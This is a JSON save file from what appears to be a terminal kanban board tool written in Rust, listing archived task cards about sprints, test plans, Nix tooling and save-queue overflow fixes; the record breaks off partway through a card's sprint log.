{
  "version": 5,
  "metadata": {
    "instance_id": "a0c9b6cd-77b5-416a-b19c-e362c91414eb",
    "saved_at": "2026-05-14T20:09:30.573233690Z"
  },
  "data": {
    "archived_cards": [
      {
        "archived_at": "2025-11-26T23:43:54.876964Z",
        "card": {
          "card_number": 136,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-11-20T17:40:47.339315Z",
          "description": "Just a small adjustment to the `README.md`\n",
          "due_date": null,
          "id": "7304c349-5eeb-419a-bf9a-a935624054f0",
          "points": 1,
          "position": 51,
          "priority": "Low",
          "sprint_id": null,
          "sprint_logs": [],
          "status": "Todo",
          "title": "update README.md",
          "updated_at": "2025-11-20T17:44:16.403707Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 51
      },
      {
        "archived_at": "2025-12-19T23:41:37.542339Z",
        "card": {
          "card_number": 126,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-11-03T17:06:55.650586Z",
          "description": "filtering by any option should not include unassigned cards unless explictly specified\n",
          "due_date": null,
          "id": "08176c32-e5fe-4753-a3b5-6eff5434862a",
          "points": null,
          "position": 32,
          "priority": "Medium",
          "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
          "sprint_logs": [
            {
              "ended_at": "2025-12-15T20:35:57.264769Z",
              "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
              "sprint_name": "full-bowling",
              "sprint_number": 9,
              "started_at": "2025-12-04T21:30:07.245016Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
              "sprint_name": "a-merry-christmas",
              "sprint_number": 10,
              "started_at": "2025-12-15T20:35:57.264769Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "when filtering by sprint x, dont include unassigned cards.",
          "updated_at": "2025-12-15T20:35:57.264770Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 32
      },
      {
        "archived_at": "2025-12-19T23:43:18.062364Z",
        "card": {
          "card_number": 137,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-11-27T21:19:19.195159Z",
          "description": "it would be cool with an indicator of what page I am on out of how many \n\n(1/3)\n\n(45/99)\n",
          "due_date": null,
          "id": "777f9c87-af5c-408d-b796-cedca10475c7",
          "points": 1,
          "position": 44,
          "priority": "Low",
          "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
          "sprint_logs": [
            {
              "ended_at": "2025-12-15T20:35:57.264712Z",
              "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
              "sprint_name": "full-bowling",
              "sprint_number": 9,
              "started_at": "2025-12-04T21:30:07.245017Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
              "sprint_name": "a-merry-christmas",
              "sprint_number": 10,
              "started_at": "2025-12-15T20:35:57.264713Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "page indicator",
          "updated_at": "2025-12-19T23:41:29.819676Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 44
      },
      {
        "archived_at": "2025-12-20T00:11:06.895107Z",
        "card": {
          "card_number": 37,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-10-12T14:49:41.587356Z",
          "description": "The current ui is a bit unintuitive when wanting to navigate to the task list.\n\nI first have to select the board (enter/space) and then I can change to the task list using 2.\n\nIt would probably feel more natural to just have the activation when hitting 2 and activating the currently highlighted board.\n\n2025-10-31 18:49:26\n---\n\nDon't know if we should pursue this card.\n\n2025-12-20 00:41:00\n---\n\nDropping this until further notice\n",
          "due_date": null,
          "id": "3b771805-ec2a-4b6a-bc3d-57b1528e3742",
          "points": 1,
          "position": 7,
          "priority": "Low",
          "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
          "sprint_logs": [
            {
              "ended_at": "2025-12-15T20:35:57.264750Z",
              "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
              "sprint_name": "full-bowling",
              "sprint_number": 9,
              "started_at": "2025-12-04T21:30:07.245014Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
              "sprint_name": "a-merry-christmas",
              "sprint_number": 10,
              "started_at": "2025-12-15T20:35:57.264750Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "hitting 2 should activate the highlighted board",
          "updated_at": "2025-12-19T23:41:14.460414Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 7
      },
      {
        "archived_at": "2025-12-23T00:33:14.088487Z",
        "card": {
          "card_number": 162,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-12-23T00:30:55.018557Z",
          "description": "Currently have flake.nix, shell.nix, default.nix, AND .envrc. This is tooling sprawl. \nPick one canonical approach (recommend flake.nix only) and document it clearly. \nRemove redundant files or document why all are needed.\n",
          "due_date": null,
          "id": "26fc7b1c-643a-4281-9795-1ebc0eddfc98",
          "points": null,
          "position": 43,
          "priority": "Medium",
          "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
          "sprint_logs": [
            {
              "ended_at": null,
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2025-12-23T00:31:51.248420Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "Consolidate Nix tooling",
          "updated_at": "2025-12-23T00:33:05.998566Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 43
      },
      {
        "archived_at": "2026-01-10T00:51:33.548251Z",
        "card": {
          "card_number": 169,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-12-23T00:35:10.326255Z",
          "description": "Currently have flake.nix, shell.nix, default.nix, AND .envrc. This is tooling sprawl. Pick one canonical approach (recommend flake.nix only) and document it clearly. Remove redundant files or document why all are needed.",
          "due_date": null,
          "id": "d1f52601-6f95-48f3-8a04-7b711870ed7c",
          "points": 3,
          "position": 49,
          "priority": "Medium",
          "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
          "sprint_logs": [
            {
              "ended_at": null,
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2025-12-23T00:35:15.812859Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "Consolidate Nix tooling",
          "updated_at": "2025-12-23T00:35:15.812860Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 49
      },
      {
        "archived_at": "2026-04-05T12:20:07.056734343Z",
        "card": {
          "card_number": 167,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-12-23T00:31:12.954868Z",
          "description": "## Context\nUnit tests exist but integration tests are limited. Need tests that verify full system behavior.\n\n## Test Scenarios Required\n\n### 1. Full Board Lifecycle\ncreate board -> add columns -> create cards -> move cards ->\narchive cards -> export JSON -> delete board -> reimport -> verify equality\n\n### 2. Multi-File Scenarios\n- Switch between different kanban files\n- Ensure no state leakage between files\n- Verify file watcher correctly tracks active file\n\n### 3. External Editor Integration\n- Set $EDITOR to test script\n- Verify edit flow works\n- Test editor crash recovery\n\n### 4. File Watcher Behavior\n- Modify file externally during session\n- Verify conflict detection triggers\n- Test \"reload\" vs \"keep local\" paths\n\n### 5. Migration Scenarios\n- Create V1 format file\n- Load with current version\n- Verify auto-migration\n- Check backup creation\n\n### 6. Sprint Lifecycle\n- Create sprint -> assign cards -> activate -> complete\n- Verify card sprint_logs updated\n- Test sprint cancellation\n\n## Implementation Plan\n\n### Test Infrastructure\n- Use `tempfile` for isolated test directories\n- Create `TestHarness` struct for common setup\n- Use `assert_cmd` for CLI black-box tests\n- Mock external editor with script\n\n### Test Organization\n```\ntests/\n  integration/\n    board_lifecycle.rs\n    multi_file.rs\n    external_editor.rs\n    file_watcher.rs\n    migration.rs\n    sprint_lifecycle.rs\n  helpers/\n    mod.rs\n    harness.rs\n    fixtures.rs\n```\n\n## SOLID Considerations\n- `TestHarness` trait for reusable setup (DIP)\n- Fixture builders for test data (Builder pattern)\n- Each test file focused on one scenario (SRP)\n\n## Files to Create\n- `crates/kanban-cli/tests/integration/` - test directory\n- `crates/kanban-cli/tests/helpers/harness.rs` - TestHarness\n- Individual test files per scenario\n\n## Acceptance Criteria\n- [ ] >=1 test per scenario above\n- [ ] Tests run in CI\n- [ ] Tests isolated (no shared state)\n- [ ] Test helpers reusable across scenarios\n- [ ] Coverage report includes integration tests",
          "due_date": null,
          "id": "f5bac667-fcb6-4ee8-ab52-985d1f8850d7",
          "points": 8,
          "position": 48,
          "priority": "Low",
          "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
          "sprint_logs": [
            {
              "ended_at": "2026-03-25T00:22:42.743051726Z",
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2025-12-23T00:31:51.248432Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-04-04T23:33:28.989167862Z",
              "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
              "sprint_name": "moonshot",
              "sprint_number": 12,
              "started_at": "2026-03-25T00:22:42.743052039Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
              "sprint_name": "a-catchy-spring",
              "sprint_number": 13,
              "started_at": "2026-04-04T23:33:28.989168122Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "Add integration test suite",
          "updated_at": "2026-04-04T23:33:28.989168982Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 48
      },
      {
        "archived_at": "2026-04-05T12:20:41.096530312Z",
        "card": {
          "card_number": 166,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-12-23T00:31:10.491074Z",
          "description": "## Context\nSprint model exists but is basic. No velocity tracking, burndown data, or retrospective artifacts.\n\n## Current Sprint State\n```rust\npub struct Sprint {\n    id, board_id, sprint_number, name_index,\n    prefix, card_prefix, status,\n    start_date, end_date,\n    created_at, updated_at\n}\n```\n\n## Missing Features\n\n### 1. Velocity Tracking\nAdd fields:\n- committed_points: Option<u32> - Points at sprint start\n- completed_points: Option<u32> - Points marked done\n- velocity_history: Vec<u32> - Rolling average data\n\n### 2. Burndown Data\nAdd structure:\n- BurndownEntry { date, remaining_points, completed_points }\n- burndown: Vec<BurndownEntry>\n\n### 3. Sprint Goals\nAdd fields:\n- goal: Option<String> - Sprint objective\n- retrospective: Option<String> - Post-sprint notes\n\n## Implementation Approach\n\n### Option A: Full Agile (8 points)\nImplement all above + TUI charts for burndown\n\n### Option B: Minimal (3 points)\nJust card grouping + basic completion tracking\n\n### Recommended: Option A with phased rollout\n1. Add data model fields (this ticket)\n2. Capture burndown data on card status changes\n3. Add velocity calculation on sprint complete\n4. TUI visualization (separate ticket)\n\n## SOLID Considerations\n- `SprintMetrics` struct for calculations (SRP)\n- `MetricsCalculator` trait for different methodologies\n- Keep Sprint struct focused on state, metrics in separate module\n\n## Files to Modify\n- `crates/kanban-domain/src/sprint.rs` - add fields\n- `crates/kanban-domain/src/sprint_metrics.rs` - new\n- `crates/kanban-persistence/src/migration/` - V2->V3 migration\n- `crates/kanban-tui/src/ui/sprint_view.rs` - display metrics\n\n## Acceptance Criteria\n- [ ] Sprint tracks committed vs completed points\n- [ ] Burndown data captured daily (or on change)\n- [ ] Velocity calculated on sprint completion\n- [ ] Migration handles existing sprints gracefully",
          "due_date": null,
          "id": "c62fa2d3-6a66-4fca-8cb5-d45b00d3de60",
          "points": 8,
          "position": 47,
          "priority": "Low",
          "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
          "sprint_logs": [
            {
              "ended_at": "2026-03-25T00:22:42.743049184Z",
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2025-12-23T00:31:51.248429Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-04-04T23:33:28.989071135Z",
              "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
              "sprint_name": "moonshot",
              "sprint_number": 12,
              "started_at": "2026-03-25T00:22:42.743049490Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
              "sprint_name": "a-catchy-spring",
              "sprint_number": 13,
              "started_at": "2026-04-04T23:33:28.989071409Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "Complete sprint feature implementation",
          "updated_at": "2026-04-04T23:33:28.989072682Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 47
      },
      {
        "archived_at": "2026-04-05T12:24:14.389087186Z",
        "card": {
          "card_number": 172,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2026-01-10T12:08:03.195036Z",
          "description": "## Problem\n100-capacity bounded queue silently drops commands when full. User rapidly executing 101+ commands loses data with no warning.\n\n## Impact\n- Silent data loss under normal load\n- No user notification\n- Only discoverable in logs\n\n## Tasks\n1. Remove SAVE_QUEUE_CAPACITY constant\n2. Change from bounded to unbounded channel in StateManager\n3. Update execute() to use unbounded send\n4. Add fatal error handling if channel disconnected\n5. Add monitoring: track max_pending_saves\n6. Log warning if queue exceeds 1000\n\n## Files to Modify\n- `crates/kanban-tui/src/state/mod.rs`\n\n## Changes\n- Line ~66-68: Remove capacity constant\n- Line ~170: Change to `unbounded_channel()`\n- Line ~335-346: Update send logic with proper error handling\n\n## Acceptance Criteria\n- [ ] Queue is unbounded\n- [ ] Never drops commands\n- [ ] Fatal error if channel disconnected\n- [ ] Monitoring tracks max_pending_saves\n- [ ] Integration test: unbounded_save_queue_never_drops passes",
          "due_date": null,
          "id": "3c3a45d4-4d10-4dbe-8249-2b9f637c6b2e",
          "points": 2,
          "position": 48,
          "priority": "High",
          "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
          "sprint_logs": [
            {
              "ended_at": "2026-02-01T19:39:40.784496Z",
              "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
              "sprint_name": "an-eventful-october",
              "sprint_number": 1,
              "started_at": "2026-01-28T08:47:10.923181Z",
              "status": "Completed"
            },
            {
              "ended_at": "2026-03-25T00:22:42.743059831Z",
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2026-02-01T19:39:40.784496Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-04-04T23:33:28.989201812Z",
              "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
              "sprint_name": "moonshot",
              "sprint_number": 12,
              "started_at": "2026-03-25T00:22:42.743060132Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
              "sprint_name": "a-catchy-spring",
              "sprint_number": 13,
              "started_at": "2026-04-04T23:33:28.989202070Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "Fix Save Queue Overflow - Use Unbounded Queue",
          "updated_at": "2026-04-04T23:33:28.989203209Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 48
      },
      {
        "archived_at": "2026-04-05T12:24:14.401579940Z",
        "card": {
          "card_number": 157,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-12-23T00:30:04.003607Z",
          "description": "## Context\nThe save queue is implemented in `kanban-tui/src/state/mod.rs`:\n- `SAVE_QUEUE_CAPACITY = 100` bounded MPSC channel\n- Uses `try_send()` which returns `TrySendError::Full` when capacity reached\n- Currently logs warning and DROPS the save silently\n\n## Current Problem\nWhen queue is full, saves are dropped with just a warning log. This causes silent data loss.\n\n## Implementation Options\n1. **Block writes** - Change to `send().await` (requires async refactor)\n2. **Drop oldest** - Replace channel with `VecDeque`, evict oldest on overflow\n3. **Expand queue** - Use unbounded channel (memory risk)\n4. **Backpressure** - Disable UI input when queue > 80% full\n\n## Recommended Approach\nImplement backpressure with clear user feedback:\n1. Add `queue_pressure()` method returning 0.0-1.0 ratio\n2. Show warning in status bar when > 80%\n3. Block new commands when queue full (not silent drop)\n4. Document the behavior in README\n\n## SOLID Considerations\n- Single Responsibility: Keep save queue logic in dedicated `SaveQueue` struct\n- Open/Closed: Make overflow strategy configurable via trait\n- Extract `SaveQueueStrategy` trait for different behaviors\n\n## Files to Modify\n- `crates/kanban-tui/src/state/mod.rs` - StateManager save queue\n- `crates/kanban-tui/src/ui/status_bar.rs` - queue pressure indicator\n- `crates/kanban-core/src/traits.rs` - SaveQueueStrategy trait (new)\n\n## Acceptance Criteria\n- [ ] No silent data loss on queue overflow\n- [ ] User-visible feedback when queue is filling\n- [ ] Configurable overflow strategy\n- [ ] Unit tests for overflow scenarios",
          "due_date": null,
          "id": "3d3a1709-06d7-40e4-b37e-37838d1f02a0",
          "points": 5,
          "position": 38,
          "priority": "High",
          "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
          "sprint_logs": [
            {
              "ended_at": "2026-03-25T00:22:42.743028337Z",
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2025-12-23T00:31:51.248407Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-04-04T23:33:28.989112937Z",
              "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
              "sprint_name": "moonshot",
              "sprint_number": 12,
              "started_at": "2026-03-25T00:22:42.743028590Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
              "sprint_name": "a-catchy-spring",
              "sprint_number": 13,
              "started_at": "2026-04-04T23:33:28.989113209Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "Implement bounded save queue overflow handling",
          "updated_at": "2026-04-04T23:33:28.989114154Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 38
      },
      {
        "archived_at": "2026-04-05T12:27:43.656359019Z",
        "card": {
          "card_number": 158,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-12-23T00:30:07.747773Z",
          "description": "## Context\nCurrent tests are example-based only. No property-based testing despite complex domain logic.\n\n## Areas Requiring Property-Based Tests\n\n### 1. Migration Paths (V1→V2)\nLocation: `kanban-persistence/src/migration/migrator.rs`\n- Roundtrip: migrate then demigrate equals original\n- Migration preserves all board/card/column counts\n- Migration never loses data (bijective mapping)\n\n### 2. Card Ordering Logic\nLocation: `kanban-domain/src/card.rs`, `column.rs`\n- Positions are contiguous after any operation\n- No duplicate positions in same column\n- Reorder operations maintain invariants\n\n### 3. Sprint Calculations\nLocation: `kanban-domain/src/sprint.rs`\n- activate(sprint, days).end_date == start_date + days\n- Sprint status transitions follow state machine\n- Sprint numbers are monotonically increasing per board\n\n### 4. Board State Consistency\nLocation: `kanban-domain/src/board.rs`\n- prefix_counters always >= max card_number for that prefix\n- Cards always reference valid column_id within same board\n- Archived cards maintain referential integrity\n\n## Implementation Plan\n1. Add `proptest` to dev-dependencies in relevant crates\n2. Create `tests/property_tests.rs` in each crate\n3. Use `proptest::arbitrary::Arbitrary` derive for domain types\n4. Generate random valid states, apply operations, verify invariants\n\n## SOLID Considerations\n- Create `Invariant` trait for testable properties\n- Each domain type implements `Arbitrary` for generation\n- Reuse arbitraries across test modules\n\n## Files to Create/Modify\n- `crates/kanban-domain/Cargo.toml` - add proptest dev-dep\n- `crates/kanban-domain/tests/property_tests.rs` - new\n- `crates/kanban-persistence/tests/migration_properties.rs` - new\n- `crates/kanban-domain/src/arbitrary.rs` - Arbitrary impls (new)\n\n## Acceptance Criteria\n- [ ] proptest configured in workspace\n- [ ] >=10 property tests for migration\n- [ ] >=10 property tests for card ordering\n- [ ] >=5 property tests for sprint logic\n- [ ] >=5 property tests for board consistency\n- [ ] CI runs property tests with sufficient iterations",
          "due_date": null,
          "id": "b0b8af7d-b07c-4b43-ad28-972e68f9019a",
          "points": 8,
          "position": 39,
          "priority": "High",
          "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
          "sprint_logs": [
            {
              "ended_at": "2026-03-25T00:22:42.743030888Z",
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2025-12-23T00:31:51.248410Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-04-04T23:33:28.989145988Z",
              "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
              "sprint_name": "moonshot",
              "sprint_number": 12,
              "started_at": "2026-03-25T00:22:42.743031145Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
              "sprint_name": "a-catchy-spring",
              "sprint_number": 13,
              "started_at": "2026-04-04T23:33:28.989146252Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "Add property-based tests for domain logic",
          "updated_at": "2026-04-04T23:33:28.989148521Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 39
      },
      {
        "archived_at": "2026-04-05T12:27:43.668583571Z",
        "card": {
          "card_number": 119,
          "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
          "completed_at": null,
          "created_at": "2025-11-02T22:05:04.816599Z",
          "description": null,
          "due_date": null,
          "id": "d41d8908-1945-4f9f-87f1-9156995cd389",
          "points": 5,
          "position": 11,
          "priority": "Medium",
          "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
          "sprint_logs": [
            {
              "ended_at": "2025-12-15T20:35:57.264763Z",
              "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
              "sprint_name": "full-bowling",
              "sprint_number": 9,
              "started_at": "2025-12-04T21:30:07.245016Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-01-10T15:31:10.374990Z",
              "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
              "sprint_name": "a-merry-christmas",
              "sprint_number": 10,
              "started_at": "2025-12-15T20:35:57.264763Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-02-01T19:39:40.784491Z",
              "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
              "sprint_name": "an-eventful-october",
              "sprint_number": 1,
              "started_at": "2026-01-10T15:31:10.374991Z",
              "status": "Completed"
            },
            {
              "ended_at": "2026-03-25T00:22:42.743010313Z",
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2026-02-01T19:39:40.784491Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-04-04T23:33:28.989187941Z",
              "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
              "sprint_name": "moonshot",
              "sprint_number": 12,
              "started_at": "2026-03-25T00:22:42.743010596Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
              "sprint_name": "a-catchy-spring",
              "sprint_number": 13,
              "started_at": "2026-04-04T23:33:28.989188207Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "ui module refactor",
          "updated_at": "2026-04-04T23:44:57.024721477Z"
        },
        "original_column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "original_position": 11
      },
      {
        "archived_at": "2026-04-05T12:27:43.680950785Z",
        "card": {
          "card_number": 39,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-10-12T15:44:28.371016Z",
          "description": "On board level. Be able to define a set of tags..\n\nThen\n\nBe able to categorize (assign) cards using tag system\nBe able to filter task list by tags\n\nExamples of tags\n\n- Bugs\n- Feature\n- UI\n- Architecture\n\nActually. Maybe tags should be a entity on the same level as these and not tightly couple into board.\n\nWould allow for tag reuse across boards? but in such case would require in board. a reference to what tags are chosen.\n\n```JSON\n{\n  \"boards\": [\n    {\n      \"board\": { \"id\": \"...\", \"name\": \"My Board\", ... },\n      \"columns\": [ { \"id\": \"...\", \"name\": \"Todo\", ... } ],\n      \"cards\": [ { \"id\": \"...\", \"title\": \"My Task\", ... } ],\n      \"sprints\": [ { \"id\": \"...\", \"sprint_number\": 1, \"status\": \"Active\", ... } ]\n    }\n  ]\n}\n```\n\nE.g. \n```JSON\n{\n  \"boards\": [\n    {\n      \"board\": { \"id\": \"...\", \"name\": \"My Board\", ... },\n      \"columns\": [ { \"id\": \"...\", \"name\": \"Todo\", ... } ],\n      \"cards\": [ { \"id\": \"...\", \"title\": \"My Task\", ... } ],\n      \"sprints\": [ { \"id\": \"...\", \"sprint_number\": 1, \"status\": \"Active\", ... } ]\n      \"tags\": [ { \"id\": \"...\", \"name\": \"Feature\", ... } ],\n    }\n  ]\n}\n```\n\n",
          "due_date": null,
          "id": "8be94a1d-a915-46d1-a7f1-020da9307cd9",
          "points": 5,
          "position": 11,
          "priority": "Critical",
          "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
          "sprint_logs": [
            {
              "ended_at": "2026-02-01T19:39:40.784514Z",
              "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
              "sprint_name": "an-eventful-october",
              "sprint_number": 1,
              "started_at": "2025-11-01T09:30:06.155912Z",
              "status": "Completed"
            },
            {
              "ended_at": "2026-03-25T00:22:42.742974657Z",
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2026-02-01T19:39:40.784514Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-04-04T23:33:28.989163838Z",
              "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
              "sprint_name": "moonshot",
              "sprint_number": 12,
              "started_at": "2026-03-25T00:22:42.742974884Z",
              "status": "Planning"
            },
            {
              "ended_at": null,
              "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
              "sprint_name": "a-catchy-spring",
              "sprint_number": 13,
              "started_at": "2026-04-04T23:33:28.989164095Z",
              "status": "Planning"
            }
          ],
          "status": "Todo",
          "title": "Tags for cards",
          "updated_at": "2026-04-04T23:33:28.989164801Z"
        },
        "original_column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "original_position": 11
      },
      {
        "archived_at": "2026-04-05T12:27:53.400390766Z",
        "card": {
          "card_number": 97,
          "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
          "completed_at": null,
          "created_at": "2025-10-24T23:00:04.886094Z",
          "description": "on both sprints that are completed and sprints that are not completed\n\nshow both the completed/incomplete cards lists and the sprint details panel\n\n2025-11-01 18:20:59\n---\n\nperhaps be able to toggle the card lists\n\n`c` and save the state of the toggle to sprint settings?\n\n2025-11-01 18:21:41\n---\n\nMaybe just show the columns and conside the toggle for the future\n",
          "due_date": null,
          "id": "13e8d3f8-94d2-410b-8d36-02d8894e5fb7",
          "points": 4,
          "position": 23,
          "priority": "Medium",
          "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
          "sprint_logs": [
            {
              "ended_at": "2025-11-17T22:41:34.327391Z",
              "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
              "sprint_name": "a-hallowed-week",
              "sprint_number": 7,
              "started_at": "2025-11-02T17:01:19.623535Z",
              "status": "Active"
            },
            {
              "ended_at": "2025-12-15T20:35:57.264739Z",
              "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
              "sprint_name": "progression-is-progress",
              "sprint_number": 8,
              "started_at": "2025-11-17T22:41:34.327391Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-01-10T15:31:10.374971Z",
              "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
              "sprint_name": "a-merry-christmas",
              "sprint_number": 10,
              "started_at": "2025-12-15T20:35:57.264739Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-02-01T19:39:40.784508Z",
              "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
              "sprint_name": "an-eventful-october",
              "sprint_number": 1,
              "started_at": "2026-01-10T15:31:10.374972Z",
              "status": "Completed"
            },
            {
              "ended_at": "2026-03-25T00:22:42.742994651Z",
              "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
              "sprint_name": "a-new-year",
              "sprint_number": 11,
              "started_at": "2026-02-01T19:39:40.784508Z",
              "status": "Planning"
            },
            {
              "ended_at": "2026-04-04T23:33:28.989079267Z",
